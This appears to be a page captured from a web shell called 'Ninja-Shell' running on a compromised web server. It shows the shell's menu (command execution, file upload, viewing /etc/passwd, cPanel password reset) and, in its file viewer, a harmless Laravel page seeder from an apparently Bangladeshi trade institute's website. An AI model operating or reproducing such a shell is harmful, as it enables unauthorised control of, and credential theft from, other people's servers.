{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//bfti-website/database/seeders/PageSeeder.php
<?php namespace Database\Seeders; use App\Models\Page; use Illuminate\Database\Seeder; class PageSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { // $pages = [ // 'about_us', // 'WTO_reference_centre', // 'government_of_bangladesh', // 'bangladesh_business_associations', // 'privacy_policy', // 'terms_&_conditions', // 'who_are_we', // 'history', // 'mission', // 'vision', // 'major_mandates', // 'objective', // 'activities', // ]; $pages = [ 'about_us' => 1, 'WTO_reference_centre' => 1, 'government_of_bangladesh' => 1, 'bangladesh_business_associations' => 1, 'privacy_policy' => 1, 'terms_&_conditions' => 1, 'who_are_we' => 1, 'connect_with_bfti' => 1, 'history' => 1, 'mission' => 1, 'vision' => 1, 'major_mandates' => 1, 'objective' => 1, 'activities' => 1, 'our_facilities' => 1, 'our_services' => 1, 'our_success_and_achievements' => 1, ]; foreach ($pages as $key => $page) { Page::updateOrCreate([ "page_category" => $key, ], [ "text_editor" => $page, ]); } } }
./Ninja\.